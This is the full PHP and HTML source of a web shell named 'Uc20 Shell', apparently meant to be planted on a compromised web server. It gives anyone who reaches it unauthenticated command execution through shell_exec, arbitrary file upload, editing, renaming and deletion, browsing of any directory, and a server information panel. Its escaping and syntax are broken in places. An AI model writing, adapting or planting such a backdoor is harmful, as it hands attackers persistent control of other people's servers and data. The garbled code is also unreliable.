session_start();$rootPath = __DIR__;function formatSizeUnits($bytes) {    if ($bytes &gt;= 1073741824) {        return number_format($bytes / 1073741824, 2) . &#039; GB&#039;;    } elseif ($bytes &gt;= 1048576) {        return number_format($bytes / 1048576, 2) . &#039; MB&#039;;    } elseif ($bytes &gt;= 1024) {        return number_format($bytes / 1024, 2) . &#039; KB&#039;;    } elseif ($bytes &gt; 1) {        return $bytes . &#039; bytes&#039;;    } elseif ($bytes == 1) {        return $bytes . &#039; byte&#039;;    }    return &#039;0 bytes&#039;;}function fileExtension($file) {    return pathinfo($file, PATHINFO_EXTENSION);}function fileIcon($file) {    $ext = strtolower(fileExtension($file));    $imgExts   = [&quot;apng&quot;, &quot;avif&quot;, &quot;gif&quot;, &quot;jpg&quot;, &quot;jpeg&quot;, &quot;jfif&quot;, &quot;pjpeg&quot;, &quot;pjp&quot;, &quot;png&quot;, &quot;svg&quot;, &quot;webp&quot;];    $audioExts = [&quot;wav&quot;, &quot;m4a&quot;, &quot;m4b&quot;, &quot;mp3&quot;, &quot;ogg&quot;, &quot;webm&quot;, &quot;mpc&quot;];    if ($file === &quot;error_log&quot;) {        return &#039;&lt;i class=&quot;fa-solid fa-bug&quot;&gt;&lt;/i&gt;&#039;;    } elseif ($file === &quot;.htaccess&quot;) {        return &#039;&lt;i class=&quot;fa-solid fa-hammer&quot;&gt;&lt;/i&gt;&#039;;    }    if (in_array($ext, [&quot;html&quot;, &quot;htm&quot;])) {        return &#039;&lt;i class=&quot;fa-brands fa-html5&quot;&gt;&lt;/i&gt;&#039;;    } elseif (in_array($ext, [&quot;php&quot;, &quot;phtml&quot;])) {        return &#039;&lt;i class=&quot;fa-brands fa-php&quot;&gt;&lt;/i&gt;&#039;;    } elseif (in_array($ext, $imgExts)) {        return &#039;&lt;i class=&quot;fa-regular fa-images&quot;&gt;&lt;/i&gt;&#039;;    } elseif ($ext === &quot;css&quot;) {        return &#039;&lt;i class=&quot;fa-brands fa-css3&quot;&gt;&lt;/i&gt;&#039;;    } elseif ($ext === &quot;txt&quot;) {        return &#039;&lt;i class=&quot;fa-regular fa-file-lines&quot;&gt;&lt;/i&gt;&#039;;    } elseif (in_array($ext, $audioExts)) {        return &#039;&lt;i class=&quot;fa-solid fa-music&quot;&gt;&lt;/i&gt;&#039;;    } elseif ($ext === &quot;py&quot;) {        return &#039;&lt;i class=&quot;fa-brands fa-python&quot;&gt;&lt;/i&gt;&#039;;    } elseif ($ext === &quot;js&quot;) {        return &#039;&lt;i class=&quot;fa-brands fa-js&quot;&gt;&lt;/i&gt;&#039;;    }    return &#039;&lt;i class=&quot;fa-solid fa-file&quot;&gt;&lt;/i&gt;&#039;;}function encodePath($path) {    return urlencode(base64_encode($path));}function decodePath($encoded) {    return base64_decode(urldecode($encoded));}function generateBreadcrumb($path) {    $path = str_replace(&#039;\\&#039;, &#039;/&#039;, $path);    $parts = explode(&#039;/&#039;, $path);    $breadcrumb = &#039;&lt;a href=&quot;?p=&#039; . encodePath(DIRECTORY_SEPARATOR) . &#039;&quot;&gt;Root&lt;/a&gt;&#039;;    $current = &#039;&#039;;    foreach ($parts as $part) {        if (empty($part)) continue;        $current .= DIRECTORY_SEPARATOR . $part;        $breadcrumb .= &#039; / &lt;a href=&quot;?p=&#039; . encodePath($current) . &#039;&quot;&gt;&#039; . htmlspecialchars($part) . &#039;&lt;/a&gt;&#039;;    }    return $breadcrumb;}$currentPath = $rootPath;if (isset($_GET[&#039;p&#039;])) {    $decoded = decodePath($_GET[&#039;p&#039;]);    if (is_dir($decoded)) {        $currentPath = realpath($decoded);    } else {        $_SESSION[&#039;message&#039;] = &quot;Invalid directory.&quot;;        header(&quot;Location: ?p=&quot; . encodePath($rootPath));        exit;    }} elseif (isset($_GET[&#039;q&#039;])) {    $decoded = decodePath($_GET[&#039;q&#039;]);    if (is_dir($decoded)) {        $currentPath = realpath($decoded);    } else {        header(&quot;Location: ?p=&quot; . encodePath($rootPath));        exit;    }}define(&quot;CURRENT_PATH&quot;, $currentPath);if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) {    if (isset($_POST[&#039;rename&#039;]) &amp;&amp; isset($_GET[&#039;r&#039;])) {        $oldItem = CURRENT_PATH . DIRECTORY_SEPARATOR . basename($_GET[&#039;r&#039;]);        $newName = basename($_POST[&#039;name&#039;]);        $newItem = CURRENT_PATH . DIRECTORY_SEPARATOR . $newName;        if (rename($oldItem, $newItem)) {            $_SESSION[&#039;message&#039;] = &quot;Renamed successfully.&quot;;        } else {            $_SESSION[&#039;message&#039;] = &quot;Rename failed.&quot;;        }        header(&quot;Location: ?p=&quot; . encodePath(CURRENT_PATH));        exit;    }    if (isset($_POST[&#039;edit&#039;]) &amp;&amp; isset($_GET[&#039;e&#039;])) {        $filePath = CURRENT_PATH . DIRECTORY_SEPARATOR . basename($_GET[&#039;e&#039;]);        if (file_put_contents($filePath, $_POST[&#039;data&#039;]) !== false) {            $_SESSION[&#039;message&#039;] = &quot;File saved successfully.&quot;;        } else {            $_SESSION[&#039;message&#039;] = &quot;Error saving file.&quot;;        }        header(&quot;Location: ?p=&quot; . encodePath(CURRENT_PATH));        exit;    }    if (isset($_POST[&#039;upload&#039;])) {        if (isset($_FILES[&#039;fileToUpload&#039;])) {            $targetPath = CURRENT_PATH . DIRECTORY_SEPARATOR . basename($_FILES[&#039;fileToUpload&#039;][&#039;name&#039;]);            if (move_uploaded_file($_FILES[&#039;fileToUpload&#039;][&#039;tmp_name&#039;], $targetPath)) {                $_SESSION[&#039;message&#039;] = &quot;File uploaded successfully.&quot;;            } else {                $_SESSION[&#039;message&#039;] = &quot;Upload failed.&quot;;            }        }        header(&quot;Location: ?p=&quot; . encodePath(CURRENT_PATH));        exit;    }    if (isset($_POST[&#039;execute_cmd&#039;])) {        $cmd = $_POST[&#039;cmd&#039;];        $output = shell_exec($cmd);        $_SESSION[&#039;cmd_output&#039;] = $output;        header(&quot;Location: ?p=&quot; . encodePath(CURRENT_PATH));        exit;    }}if (isset($_GET[&#039;d&#039;])) {    $itemName = basename($_GET[&#039;d&#039;]);    $itemPath = CURRENT_PATH . DIRECTORY_SEPARATOR . $itemName;    if (is_file($itemPath)) {        if (unlink($itemPath)) {            $_SESSION[&#039;message&#039;] = &quot;File deleted.&quot;;        } else {            $_SESSION[&#039;message&#039;] = &quot;Error deleting file.&quot;;        }    } elseif (is_dir($itemPath)) {        if (rmdir($itemPath)) {            $_SESSION[&#039;message&#039;] = &quot;Directory deleted.&quot;;        } else {            $_SESSION[&#039;message&#039;] = &quot;Error deleting directory (ensure it is empty).&quot;;        }    }    header(&quot;Location: ?p=&quot; . encodePath(CURRENT_PATH));    exit;}$folders = [];$files = [];if (is_readable(CURRENT_PATH)) {    $items = scandir(CURRENT_PATH);    foreach ($items as $item) {        if ($item === &#039;.&#039; || $item === &#039;..&#039;) continue;        $fullPath = CURRENT_PATH . DIRECTORY_SEPARATOR . $item;        if (is_dir($fullPath)) {            $folders[] = $item;        } elseif (is_file($fullPath)) {            $files[] = $item;        }    }}$system_info = [    &#039;Operating System&#039; =&gt; Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64,    &#039;PHP Version&#039;      =&gt; phpversion(),    &#039;Server Software&#039;  =&gt; $_SERVER[&#039;SERVER_SOFTWARE&#039;] ?? &#039;N/A&#039;,    &#039;Document Root&#039;    =&gt; $_SERVER[&#039;DOCUMENT_ROOT&#039;] ?? &#039;N/A&#039;,    &#039;Current Directory&#039;=&gt; CURRENT_PATH,    &#039;Free Disk Space&#039;  =&gt; formatSizeUnits(disk_free_space(CURRENT_PATH)),    &#039;Total Disk Space&#039; =&gt; formatSizeUnits(disk_total_space(CURRENT_PATH))];$message = isset($_SESSION[&#039;message&#039;]) ? $_SESSION[&#039;message&#039;] : &#039;&#039;;$cmd_output = isset($_SESSION[&#039;cmd_output&#039;]) ? $_SESSION[&#039;cmd_output&#039;] : &#039;&#039;;unset($_SESSION[&#039;message&#039;], $_SESSION[&#039;cmd_output&#039;]);&lt;!DOCTYPE html&gt;&lt;html lang=&quot;en&quot;&gt;<head>&lt;meta charset=&quot;UTF-8&quot;&gt;<title>Uc20 Shell</title>&lt;title&gt;Uc20 Shell&lt;/title&gt;&lt;link href=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&gt;&lt;link href=&quot;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css&quot; rel=&quot;stylesheet&quot;&gt;&lt;style&gt;body { background-color: #000; color: #FFD700; }.navbar, .card { background-color: #000; border: 1px solid #FFD700; }a { color: #FFD700; }a:hover { color: #FFA500; text-decoration: none; }.breadcrumb a { color: #FFD700; }.table { color: #FFD700; }.form-control, .btn { background-color: #000; border: 1px solid #FFD700; color: #FFD700; }.form-control:focus, .btn:focus { box-shadow: none; }pre { background-color: #000; padding: 15px; border: 1px solid #FFD700; border-radius: 5px; overflow-x: auto; color: #FFD700; }.footer { text-align: center; margin-top: 20px; font-size: 0.9em; }&lt;/style&gt;</head><body>&lt;div class=&quot;container py-3&quot;&gt;  &lt;nav class=&quot;navbar navbar-expand-lg mb-3&quot;&gt;    &lt;a class=&quot;navbar-brand&quot; href=&quot;?p== encodePath(CURRENT_PATH) &quot;&gt;Uc20shell&lt;/a&gt;    &lt;div class=&quot;ms-auto&quot;&gt;      &lt;a href=&quot;?p== encodePath($rootPath) &quot; class=&quot;btn btn-sm btn-outline-warning me-2&quot;&gt;Home&lt;/a&gt;      &lt;a href=&quot;?p== encodePath(CURRENT_PATH) &amp;upload=1&quot; class=&quot;btn btn-sm btn-outline-warning&quot;&gt;Upload&lt;/a&gt;    &lt;/div&gt;  &lt;/nav&gt;   if ($message):     &lt;div class=&quot;alert alert-warning&quot;&gt;= htmlspecialchars($message) &lt;/div&gt;   endif;   &lt;div class=&quot;card mb-3&quot;&gt;    &lt;div class=&quot;card-header&quot;&gt;System Information&lt;/div&gt;    &lt;div class=&quot;card-body&quot;&gt;      &lt;table class=&quot;table table-borderless&quot;&gt;         foreach ($system_info as $key =&gt; $value):           <tr>            &lt;th&gt;= htmlspecialchars($key) &lt;/th&gt;            <td>= htmlspecialchars($value) </td>          </tr>         endforeach;       </table>    &lt;/div&gt;  &lt;/div&gt;  &lt;div class=&quot;card mb-3&quot;&gt;    &lt;div class=&quot;card-header&quot;&gt;Execute Command&lt;/div&gt;    &lt;div class=&quot;card-body&quot;&gt;      <form>        &lt;div class=&quot;col-md-10&quot;&gt;          <input type=text>        &lt;/div&gt;        &lt;div class=&quot;col-md-2&quot;&gt;          &lt;button type=&quot;submit&quot; name=&quot;execute_cmd&quot; class=&quot;btn btn-warning w-100&quot;&gt;Run&lt;/button&gt;        &lt;/div&gt;      </form>       if ($cmd_output):         &lt;hr&gt;        &lt;h6&gt;Output:&lt;/h6&gt;        &lt;pre&gt;= htmlspecialchars($cmd_output) &lt;/pre&gt;       endif;     &lt;/div&gt;  &lt;/div&gt;  &lt;nav aria-label=&quot;breadcrumb&quot; class=&quot;mb-3&quot;&gt;    = generateBreadcrumb(CURRENT_PATH)   &lt;/nav&gt;   if (isset($_GET[&#039;upload&#039;])):     &lt;div class=&quot;card mb-3&quot;&gt;      &lt;div class=&quot;card-header&quot;&gt;Upload File&lt;/div&gt;      &lt;div class=&quot;card-body&quot;&gt;        <form>          &lt;div class=&quot;mb-3&quot;&gt;            &lt;label for=&quot;fileToUpload&quot; class=&quot;form-label&quot;&gt;Select file:&lt;/label&gt;            <input type=file>          &lt;/div&gt;          &lt;button type=&quot;submit&quot; name=&quot;upload&quot; class=&quot;btn btn-warning&quot;&gt;Upload&lt;/button&gt;        </form>      &lt;/div&gt;    &lt;/div&gt;   endif;    if (isset($_GET[&#039;r&#039;]) &amp;&amp; isset($_GET[&#039;q&#039;])):     &lt;div class=&quot;card mb-3&quot;&gt;      &lt;div class=&quot;card-header&quot;&gt;Rename: = htmlspecialchars($_GET[&#039;r&#039;]) &lt;/div&gt;      &lt;div class=&quot;card-body&quot;&gt;        <form>          &lt;div class=&quot;mb-3&quot;&gt;            &lt;label for=&quot;renameInput&quot; class=&quot;form-label&quot;&gt;New name:&lt;/label&gt;            <input type=text>          &lt;/div&gt;          &lt;button type=&quot;submit&quot; name=&quot;rename&quot; class=&quot;btn btn-warning&quot;&gt;Rename&lt;/button&gt;        </form>      &lt;/div&gt;    &lt;/div&gt;   endif;    if (isset($_GET[&#039;e&#039;]) &amp;&amp; isset($_GET[&#039;q&#039;])):     &lt;div class=&quot;card mb-3&quot;&gt;      &lt;div class=&quot;card-header&quot;&gt;Editing File: = htmlspecialchars($_GET[&#039;e&#039;]) &lt;/div&gt;      &lt;div class=&quot;card-body&quot;&gt;        <form>          &lt;div class=&quot;mb-3&quot;&gt;            &lt;textarea name=&quot;data&quot; rows=&quot;10&quot; class=&quot;form-control&quot; required&gt;= htmlspecialchars(file_get_contents(CURRENT_PATH . DIRECTORY_SEPARATOR . $_GET[&#039;e&#039;])) &lt;/textarea&gt;          &lt;/div&gt;          &lt;button type=&quot;submit&quot; name=&quot;edit&quot; class=&quot;btn btn-warning&quot;&gt;Save&lt;/button&gt;        </form>      &lt;/div&gt;    &lt;/div&gt;   endif;   &lt;div class=&quot;card&quot;&gt;    &lt;div class=&quot;card-header&quot;&gt;Directory: = htmlspecialchars(CURRENT_PATH) &lt;/div&gt;    &lt;div class=&quot;card-body p-0&quot;&gt;      &lt;table class=&quot;table table-hover m-0&quot;&gt;        &lt;thead class=&quot;table-dark&quot;&gt;          <tr>            &lt;th&gt;Name&lt;/th&gt;            &lt;th&gt;Size&lt;/th&gt;            &lt;th&gt;Modified&lt;/th&gt;            &lt;th&gt;Perms&lt;/th&gt;            &lt;th&gt;Actions&lt;/th&gt;          </tr>        &lt;/thead&gt;        &lt;tbody&gt;           foreach ($folders as $folder):             <tr>              <td>                &lt;i class=&quot;fa-solid fa-folder&quot;&gt;&lt;/i&gt;                &lt;a href=&quot;?p== encodePath(CURRENT_PATH . DIRECTORY_SEPARATOR . $folder) &quot;&gt;= htmlspecialchars($folder) &lt;/a&gt;              </td>              <td>&mdash;</td>              <td>= date(&quot;F d Y H:i:s&quot;, filemtime(CURRENT_PATH . DIRECTORY_SEPARATOR . $folder)) </td>              <td>= substr(decoct(fileperms(CURRENT_PATH . DIRECTORY_SEPARATOR . $folder)), -3) </td>              <td>                &lt;a href=&quot;?q== encodePath(CURRENT_PATH) &amp;r== urlencode($folder) &quot; title=&quot;Rename&quot;&gt;                  &lt;i class=&quot;fa-solid fa-pen-to-square&quot;&gt;&lt;/i&gt;                &lt;/a&gt;                &lt;a href=&quot;?q== encodePath(CURRENT_PATH) &amp;d== urlencode($folder) &quot; title=&quot;Delete&quot; onclick=&quot;return confirm(&#039;Delete this folder?&#039;);&quot;&gt;                  &lt;i class=&quot;fa-solid fa-trash&quot;&gt;&lt;/i&gt;                &lt;/a&gt;              </td>            </tr>           endforeach;            foreach ($files as $file):             <tr>              <td>= fileIcon($file)  = htmlspecialchars($file) </td>              <td>= formatSizeUnits(filesize(CURRENT_PATH . DIRECTORY_SEPARATOR . $file)) </td>              <td>= date(&quot;F d Y H:i:s&quot;, filemtime(CURRENT_PATH . DIRECTORY_SEPARATOR . $file)) </td>              <td>= substr(decoct(fileperms(CURRENT_PATH . DIRECTORY_SEPARATOR . $file)), -3) </td>              <td>                &lt;a href=&quot;?q== encodePath(CURRENT_PATH) &amp;e== urlencode($file) &quot; title=&quot;Edit&quot;&gt;                  &lt;i class=&quot;fa-solid fa-file-pen&quot;&gt;&lt;/i&gt;                &lt;/a&gt;                &lt;a href=&quot;?q== encodePath(CURRENT_PATH) &amp;r== urlencode($file) &quot; title=&quot;Rename&quot;&gt;                  &lt;i class=&quot;fa-solid fa-pen-to-square&quot;&gt;&lt;/i&gt;                &lt;/a&gt;                &lt;a href=&quot;?q== encodePath(CURRENT_PATH) &amp;d== urlencode($file) &quot; title=&quot;Delete&quot; onclick=&quot;return confirm(&#039;Delete this file?&#039;);&quot;&gt;                  &lt;i class=&quot;fa-solid fa-trash&quot;&gt;&lt;/i&gt;                &lt;/a&gt;              </td>            </tr>           endforeach;            if (empty($folders) &amp;&amp; empty($files)):             <tr>              &lt;td colspan=&quot;5&quot; class=&quot;text-center&quot;&gt;No files or folders found.</td>            </tr>           endif;         &lt;/tbody&gt;      </table>    &lt;/div&gt;  &lt;/div&gt;  &lt;div class=&quot;footer&quot;&gt;    Uc20shell&lt;a href=&quot;&quot; target=&quot;_blank&quot; style=&quot;color: #FFD700;&quot;&gt; Nous sommes tous des combattants&lt;/a&gt;  &lt;/div&gt;&lt;/div&gt;&lt;script src=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js&quot;&gt;&lt;/script&gt;</body></html>